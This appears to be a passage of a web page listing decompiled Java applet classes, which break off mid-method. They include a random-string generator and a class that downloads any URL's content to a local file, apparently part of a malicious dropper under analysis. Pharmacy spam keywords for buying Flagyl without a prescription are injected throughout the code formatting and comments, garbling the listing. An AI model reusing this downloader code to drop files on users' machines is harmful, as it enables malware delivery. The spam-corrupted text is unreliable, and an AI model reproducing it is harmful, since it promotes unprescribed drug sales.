<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  12:</span>         <span style="color: #0000ff">for</span>(<span style="color: #0000ff">int</span> l = 0; l &lt; i; l++)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  13:</span>         {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  14:</span>             <span style="color: #0000ff">int</span> k = (<span style="color: #0000ff">int</span>)(Math.random() * 3D);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  15:</span>             switch(k)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  16:</span>             {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, <b>Flagyl dangers</b>, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  17:</span>             <span style="color: #0000ff">case</span> 0: // <span style="color: #006080">'<title>Metronidazole Gel For Sale</title>'</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  18:</span>                 j = 48 + (<span style="color: #0000ff">int</span>)(Math.random() * 10D);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  19:</span>                 <span style="color: #0000ff">break</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  20:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  21:</span>             <span style="color: #0000ff">case</span> 1: // <span style="color: #006080">'<title>Metronidazole Gel For Sale</title>1'</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, <b>My Flagyl experience</b>, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  22:</span>                 j = 97 + (<span style="color: #0000ff">int</span>)(Math.random() * 26D);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  23:</span>                 <span style="color: #0000ff">break</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  24:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  25:</span>             <span style="color: #0000ff">case</span> 2: // <span style="color: #006080">'<title>Metronidazole Gel For Sale</title>2'</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  26:</span>                 j = 65 + (<span style="color: #0000ff">int</span>)(Math.random() * 26D);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  27:</span>                 <span style="color: #0000ff">break</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>Flagyl without prescription</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  28:</span>             }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  29:</span>             ac[l] = (<span style="color: #0000ff">char</span>)j;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  30:</span>         }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  31:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  32:</span>         <span style="color: #0000ff">return</span> <span style="color: #0000ff">new</span> String(ac);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>Flagyl schedule</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  33:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  34:</span> }</pre>  </div></div></p>
<p><p>c_de.java</p></p>
<p><div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">  <div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> import java.io.*;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, <b>Flagyl street price</b>, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   2:</span> import java.net.URL;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   3:</span> import java.net.URLConnection;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   4:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   5:</span> <span style="color: #0000ff">class</span> c_de</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   6:</span> {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, <b>Flagyl trusted pharmacy reviews</b>, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   7:</span>     c_de()</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   8:</span>     {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   9:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  10:</span>     <span style="color: #0000ff">public</span> <span style="color: #0000ff">boolean</span> de(String s, String s1)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  11:</span>     {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  12:</span>         try</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>Flagyl online cod</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  13:</span>         {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  14:</span>             String s2 = s1;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  15:</span>             BufferedOutputStream bufferedoutputstream = <span style="color: #0000ff">null</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  16:</span>             InputStream inputstream = <span style="color: #0000ff">null</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  17:</span>             URL url = <span style="color: #0000ff">new</span> URL(s);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>Purchase Flagyl for sale</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  18:</span>             bufferedoutputstream = <span style="color: #0000ff">new</span> BufferedOutputStream(<span style="color: #0000ff">new</span> FileOutputStream(s2));</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  19:</span>             URLConnection urlconnection = url.openConnection();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  20:</span>             inputstream = urlconnection.getInputStream();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  21:</span>             byte abyte0[] = <span style="color: #0000ff">new</span> byte[1024];</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  22:</span>             <span style="color: #0000ff">int</span> i;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, <b>order Flagyl no prescription</b>, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  23:</span>             <span style="color: #0000ff">for</span>(long l = 0L; (i = inputstream.<span style="color: #0000ff">read</span>(abyte0)) != -1; l += i)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  24:</span>                 bufferedoutputstream.<span style="color: #0000ff">write</span>(abyte0, 0, i);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  25:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  26:</span>             <span style="color: #0000ff">if</span>(inputstream != <span style="color: #0000ff">null</span>)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  27:</span>                 inputstream.<span style="color: #0000ff">close</span>();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>Flagyl results</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  28:</span>             <span style="color: #0000ff">if</span>(bufferedoutputstream != <span style="color: #0000ff">null</span>)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  29:</span>                 bufferedoutputstream.<span style="color: #0000ff">close</span>();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  30:</span>             <span style="color: #0000ff">return</span> <span style="color: #0000ff">true</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  31:</span>         }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  32:</span>         catch(<span style="color: #0000ff">Exception</span> <span style="color: #0000ff">exception</span>)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, <b>real brand Flagyl online</b>, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  33:</span>         {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  34:</span>             <span style="color: #0000ff">return</span> <span style="color: #0000ff">false</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  35:</span>         }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  36:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  37:</span> }</pre>  </div></div></p>
<p><p>c_ed.java</p></p>
<p><div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, <b>Where can i cheapest Flagyl online</b>, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">  <div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> import java.applet.Applet;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   2:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   3:</span> <span style="color: #0000ff">class</span> c_ed</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   4:</span> {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, <b>Flagyl dosage</b>, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   5:</span>     c_ed()</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   6:</span>     {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   7:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   8:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   9:</span>     <span style="color: #0000ff">public</span> void ed(String s, String s1, <b>Buy Flagyl without a prescription</b>, Applet applet)</pre></p>
